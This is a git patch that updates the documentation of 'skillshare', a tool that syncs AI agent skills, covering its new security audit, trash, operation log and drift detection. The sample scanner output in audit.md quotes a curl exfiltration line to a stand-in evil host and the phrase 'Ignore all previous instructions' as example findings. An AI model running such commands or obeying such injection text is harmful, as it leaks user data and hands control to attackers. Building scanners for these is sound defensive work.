From f152245f271c4223b4367983befacadc199b75ed Mon Sep 17 00:00:00 2001 From: Willie Date: Tue, 10 Feb 2026 03:32:36 +0800 Subject: [PATCH] docs(skill): update built-in skill to v0.11.0 with audit, trash, log, and drift detection Add new reference docs for security audit, trash (soft-delete), and operation log commands. Update existing references with sync drift detection, install audit blocking, SSH subpath syntax, and new Web UI pages/API endpoints. --- skills/skillshare/SKILL.md | 34 ++++++++-- .../skillshare/references/TROUBLESHOOTING.md | 7 ++- skills/skillshare/references/audit.md | 62 +++++++++++++++++++ skills/skillshare/references/install.md | 9 ++- skills/skillshare/references/log.md | 49 +++++++++++++++ skills/skillshare/references/status.md | 4 +- skills/skillshare/references/trash.md | 44 +++++++++++++ skills/skillshare/references/ui.md | 15 ++++- 8 files changed, 215 insertions(+), 9 deletions(-) create mode 100644 skills/skillshare/references/audit.md create mode 100644 skills/skillshare/references/log.md create mode 100644 skills/skillshare/references/trash.md diff --git a/skills/skillshare/SKILL.md b/skills/skillshare/SKILL.md index b05daba09..853d995a1 100644 --- a/skills/skillshare/SKILL.md +++ b/skills/skillshare/SKILL.md @@ -1,6 +1,6 @@ --- name: skillshare -version: 0.10.0 +version: 0.11.0 description: | Syncs skills across AI CLI tools (Claude, Cursor, Windsurf, etc.) from a single source of truth. Supports both global mode (~/.config/skillshare/) and project mode (.skillshare/ per-repo). @@ -11,6 +11,9 @@ description: | "diagnose skillshare", "doctor", "project skills", "init project", "project setup", "scope skills to repo", "share skills via git", "web dashboard", "skillshare ui", "launch dashboard", "open ui", "visual skill management", + "audit skills", "security scan", "scan for injection", "check skill safety", + "trash", "restore deleted skill", "undo uninstall", "empty trash", + "operation log", "show history", "what changed", "check for updates", or any skill/target management across AI tools. argument-hint: "[command] [target] [--dry-run] [-p|-g]" --- @@ -47,6 +50,9 @@ skillshare sync | **Remote** | `push`, `pull` | ✗ (use git) | | **Skills** | `new`, `install`, `uninstall`, `update`, `check`, `search` | ✓ (`-p`) | | **Targets** | `target add/remove/list` | ✓ (`-p`) | +| **Security** | `audit [name]` | ✓ (`-p`) | +| **Trash** | `trash list\|restore\|delete\|empty` | ✓ (`-p`) | +| **Log** | `log [--audit] [--tail N]` | ✓ (`-p`) | | **Backup** | `backup`, `restore` | ✗ | | **Web UI** | `ui` | ✓ (`-p`) | | **Upgrade** | `upgrade [--cli\|--skill]` | — | @@ -72,6 +78,7 @@ skillshare init -p # Interactive (user only skillshare install user/repo --all # Install all skillshare install user/repo -s pdf,commit # Select specific skillshare install user/repo -y # Auto-accept +skillshare install user/repo --force # Override audit block # Add new agents later skillshare init --discover --select "windsurf,kilocode" @@ -80,8 +87,24 @@ skillshare init -p --discover --select "windsurf" ### Safety +**Security audit:** `install` auto-scans skills. CRITICAL findings block install; use `--force` to override. + +```bash +skillshare audit # Scan all skills +skillshare audit my-skill # Scan specific skill +skillshare install user/repo --force # Override CRITICAL block +``` + +**Soft-delete:** `uninstall` moves skills to trash (7-day retention). Restore with `trash restore`. + +```bash +skillshare trash list # See trashed skills +skillshare trash restore my-skill # Undo uninstall +skillshare trash empty # Permanent delete all +``` + **NEVER** `rm -rf` symlinked skills — deletes source. Always use: -- `skillshare uninstall ` to remove skills +- `skillshare uninstall ` to remove skills (goes to trash) - `skillshare target remove ` to unlink targets ### Finding Skills @@ -101,8 +124,11 @@ skillshare search --json # JSON output |-------|------| | Init flags (global + project) | [init.md](references/init.md) | | Sync/collect/push/pull | [sync.md](references/sync.md) | -| Install/update/new | [install.md](references/install.md) | -| Status/diff/list/search | [status.md](references/status.md) | +| Install/update/uninstall/new | [install.md](references/install.md) | +| Status/diff/list/search/check | [status.md](references/status.md) | +| Security audit | [audit.md](references/audit.md) | +| Trash (soft-delete) | [trash.md](references/trash.md) | +| Operation log | [log.md](references/log.md) | | Target management | [targets.md](references/targets.md) | | Backup/restore | [backup.md](references/backup.md) | | Web dashboard (UI) | [ui.md](references/ui.md) | diff --git a/skills/skillshare/references/TROUBLESHOOTING.md b/skills/skillshare/references/TROUBLESHOOTING.md index 2ba96a341..27d4d0c38 100644 --- a/skills/skillshare/references/TROUBLESHOOTING.md +++ b/skills/skillshare/references/TROUBLESHOOTING.md @@ -6,9 +6,12 @@ |---------|----------| | "config not found" | `skillshare init` (global) or `skillshare init -p` (project) | | Target shows differences | `skillshare sync` | +| Sync drift warning | `skillshare sync` to re-link missing skills | | Lost source files (global) | `cd ~/.config/skillshare/skills && git checkout -- .` | | Lost source files (project) | `git checkout -- .skillshare/skills/` | +| Accidentally uninstalled | `skillshare trash restore ` (within 7 days) | | Skill not appearing | `skillshare sync` after install | +| Install blocked by audit | `skillshare install ... --force` to override CRITICAL | | Git push fails | Check remote: `git -C ~/.config/skillshare/skills remote -v` | | Project mode not detected | Verify `.skillshare/config.yaml` exists in cwd | | Wrong mode detected | Use `-p` (project) or `-g` (global) to force | @@ -16,9 +19,11 @@ ## Diagnostic Commands ```bash -skillshare doctor # Check environment +skillshare doctor # Check environment + sync drift skillshare status # Overview (auto-detects mode) skillshare diff # Show differences +skillshare log # Recent operations and audit log +skillshare log --audit # Security scan history ls -la ~/.claude/skills # Check global symlinks ls -la .claude/skills # Check project symlinks ``` diff --git a/skills/skillshare/references/audit.md b/skills/skillshare/references/audit.md new file mode 100644 index 000000000..f81550044 --- /dev/null +++ b/skills/skillshare/references/audit.md @@ -0,0 +1,62 @@ +# Security Audit + +Scan skills for prompt injection, data exfiltration, credential access, destructive commands, obfuscation, and suspicious URLs. + +## Usage + +```bash +skillshare audit # Scan all skills +skillshare audit # Scan specific skill +skillshare audit -p # Scan project skills +``` + +## Severity Levels + +| Level | Meaning | Install behavior | +|-------|---------|-----------------| +| **CRITICAL** | Prompt injection, data exfil, credential theft | **Blocked** (use `--force` to override) | +| **HIGH** | Destructive commands, suspicious URLs | Warning shown | +| **MEDIUM** | Obfuscation, encoded content | Warning shown | + +## Install Integration + +`skillshare install` auto-scans after download: + +- **CRITICAL findings → install blocked.** User must `--force` to proceed. +- **HIGH/MEDIUM findings → warning displayed** after successful install. +- Web UI shows a confirm dialog on CRITICAL block with "Force Install" option. + +```bash +skillshare install user/repo # Auto-audit, block on CRITICAL +skillshare install user/repo --force # Override CRITICAL block +``` + +## Output + +Per-skill results with tree-style findings: + +``` +[1/5] ✓ my-skill (12ms) +[2/5] ! risky-skill (8ms) + ├─ HIGH: suspicious URL pattern (scripts/run.sh:14) + │ > curl http://evil.example.com/exfil + └─ MEDIUM: base64 encoded content (SKILL.md:42) + > echo "aGVsbG8=" | base64 -d +[3/5] ✗ bad-skill (5ms) + └─ CRITICAL: prompt injection attempt (SKILL.md:3) + > Ignore all previous instructions +``` + +Summary box: + +``` +Scanned: 5 | Passed: 3 | Warning: 1 | Failed: 1 +``` + +## Logging + +Audit results are logged to `audit.log` (JSONL). View with: + +```bash +skillshare log --audit +``` diff --git a/skills/skillshare/references/install.md b/skills/skillshare/references/install.md index 7de50c843..35c3baf38 100644 --- a/skills/skillshare/references/install.md +++ b/skills/skillshare/references/install.md @@ -23,6 +23,7 @@ github.com/user/repo # Discovers skills in repo github.com/user/repo/path # Direct subdirectory https://github.com/... # HTTPS URL git@github.com:... # SSH URL +git@host:owner/repo//subdir # SSH with subpath (// separator) # Local ~/path/to/skill # Local directory @@ -67,6 +68,8 @@ skillshare install anthropics/skills -s pdf -p # Selective + project mode **Project `install -p` (no source):** Installs all remote skills listed in `.skillshare/config.yaml`. Useful for new team members. +**Security audit:** Install auto-scans skills after download. CRITICAL findings block install — use `--force` to override. HIGH/MEDIUM shown as warnings. + **After install:** `skillshare sync` ## check @@ -110,11 +113,11 @@ skillshare update _repo --force -p # Discard local changes ## uninstall -Remove a skill from source. +Remove a skill from source. Moves to trash (7-day retention) instead of permanent deletion. ```bash # Global -skillshare uninstall my-skill # With confirmation +skillshare uninstall my-skill # With confirmation → moves to trash skillshare uninstall my-skill --force # Skip confirmation # Project @@ -122,6 +125,8 @@ skillshare uninstall my-skill -p # Remove from .skillshare/skills/ skillshare uninstall my-skill --force -p # Skip confirmation ``` +**Undo:** `skillshare trash restore ` to recover. See [trash.md](trash.md). + **After uninstall:** `skillshare sync` ## new diff --git a/skills/skillshare/references/log.md b/skills/skillshare/references/log.md new file mode 100644 index 000000000..347b17c8f --- /dev/null +++ b/skills/skillshare/references/log.md @@ -0,0 +1,49 @@ +# Operation Log + +JSONL-based persistent audit trail. All mutating commands (sync, install, uninstall, audit, etc.) are logged automatically. + +## Usage + +```bash +skillshare log # Show operations + audit logs +skillshare log --audit # Audit log only +skillshare log --tail 50 # Last 50 entries per section +skillshare log --clear # Clear operations log +skillshare log --clear --audit # Clear audit log +skillshare log -p # Project logs +``` + +## Flags + +| Flag | Description | +|------|-------------| +| `--audit, -a` | Show audit log only | +| `--tail, -t ` | Last N entries (default: 20) | +| `--clear, -c` | Clear selected log file | +| `-p, --project` | Project-level logs | +| `-g, --global` | Global logs | + +## Log Files + +| File | Contents | +|------|----------| +| `operations.log` | All CLI commands (sync, install, update, etc.) | +| `audit.log` | Security scan results | + +Location: `~/.config/skillshare/` (global) or `.skillshare/` (project). + +## Output Format + +``` +2026-02-10 14:30:01 sync targets=3, scope=global ok 120ms +2026-02-10 14:29:15 install source=user/repo, name=pdf ok 2.1s +2026-02-10 14:28:00 audit skill=*, scanned=5, failed=1 error 340ms +``` + +Fields: timestamp, command, detail, status, duration. + +## Status Colors (TTY) + +- **Green**: ok +- **Red**: error, blocked +- **Yellow**: partial diff --git a/skills/skillshare/references/status.md b/skills/skillshare/references/status.md index 76e0f5264..71245fc21 100644 --- a/skills/skillshare/references/status.md +++ b/skills/skillshare/references/status.md @@ -13,6 +13,8 @@ skillshare status -g # Force global Project mode output includes: source path, targets with sync mode, remote skills list. +**Sync drift detection:** Warns when targets have fewer linked skills than source (merge mode). Example: `⚠ claude: 3 skill(s) not synced (12/15 linked)`. Run `skillshare sync` to fix. + ## diff Show differences between source and targets. @@ -55,7 +57,7 @@ skillshare search -n 10 # Limit results (default: 20) ## doctor -Diagnose configuration and environment issues. +Diagnose configuration and environment issues. Also checks for sync drift. ```bash skillshare doctor diff --git a/skills/skillshare/references/trash.md b/skills/skillshare/references/trash.md new file mode 100644 index 000000000..9c86d95db --- /dev/null +++ b/skills/skillshare/references/trash.md @@ -0,0 +1,44 @@ +# Trash (Soft-Delete) + +`skillshare uninstall` moves skills to trash with 7-day retention instead of permanent deletion. + +## Commands + +```bash +skillshare trash list # List trashed skills (alias: ls) +skillshare trash restore # Restore to source +skillshare trash delete # Permanently delete one (alias: rm) +skillshare trash empty # Permanently delete all (confirmation required) +``` + +## Project Mode + +```bash +skillshare trash list -p # Project trash +skillshare trash restore -p # Restore to project source +skillshare trash delete -p # Delete from project trash +skillshare trash empty -p # Empty project trash +``` + +Auto-detects mode when `.skillshare/config.yaml` exists. + +## Behavior + +- **7-day TTL**: Items auto-expire after 7 days +- **Restore**: Copies skill back to source directory; run `skillshare sync` afterward +- **Empty**: Requires interactive confirmation (`y/yes`) +- **List output**: Shows name, size, and age (minutes/hours/days) + +## AI Usage + +```bash +# Undo an accidental uninstall +skillshare trash list # Find the skill +skillshare trash restore my-skill # Restore it +skillshare sync # Re-sync to targets + +# Clean up +skillshare trash delete old-skill # Remove specific item +``` + +**Note:** `trash empty` requires interactive confirmation — not suitable for non-interactive AI use. diff --git a/skills/skillshare/references/ui.md b/skills/skillshare/references/ui.md index e9b963f02..1a73409c5 100644 --- a/skills/skillshare/references/ui.md +++ b/skills/skillshare/references/ui.md @@ -29,9 +29,12 @@ Auto-detects project mode when `.skillshare/config.yaml` exists in cwd. | **Dashboard** | Overview cards — skill count, target count, sync mode, version | | **Skills** | Searchable skill grid with metadata. Click to view SKILL.md | | **Install** | Install from local path, git URL, or GitHub shorthand | -| **Targets** | Target list with status badges. Add/remove targets | +| **Targets** | Target list with status badges and drift indicators. Add/remove targets | | **Sync** | Sync controls with dry-run toggle. Diff preview | | **Collect** | Scan targets and collect selected skills back to source | +| **Audit** | Security scan all skills. Severity badges per finding | +| **Trash** | List/restore/delete/empty trashed skills | +| **Log** | Operation and audit log viewer | | **Backup** | View/restore/cleanup backups (global only) | | **Git Sync** | Push/pull source repo (global only) | | **Search** | GitHub skill search with one-click install | @@ -42,8 +45,10 @@ Auto-detects project mode when `.skillshare/config.yaml` exists in cwd. When running with `-p`, the dashboard adapts: - **Git Sync** and **Backup** pages are hidden +- **Audit**, **Trash**, and **Log** pages adapt to project scope - **Config** edits `.skillshare/config.yaml` - **Install** reconciles remote skill entries in project config +- **Install** shows confirm dialog on CRITICAL audit findings with "Force Install" option - **"Project" badge** in the sidebar indicates mode ## REST API @@ -70,6 +75,14 @@ curl -X POST http://127.0.0.1:19420/api/sync -d '{"dryRun":true}' | GET | `/api/diff` | Diff between source and targets | | GET | `/api/search?q=` | Search GitHub for skills | | POST | `/api/install` | Install a skill from source | +| GET | `/api/audit` | Scan all skills | +| GET | `/api/audit/{name}` | Scan specific skill | +| GET | `/api/trash` | List trashed skills | +| POST | `/api/trash/{name}/restore` | Restore from trash | +| DELETE | `/api/trash/{name}` | Delete from trash | +| DELETE | `/api/trash` | Empty trash | +| GET | `/api/log` | Operation log entries | +| GET | `/api/log/audit` | Audit log entries | | GET | `/api/config` | Get config as YAML | | PUT | `/api/config` | Update config YAML |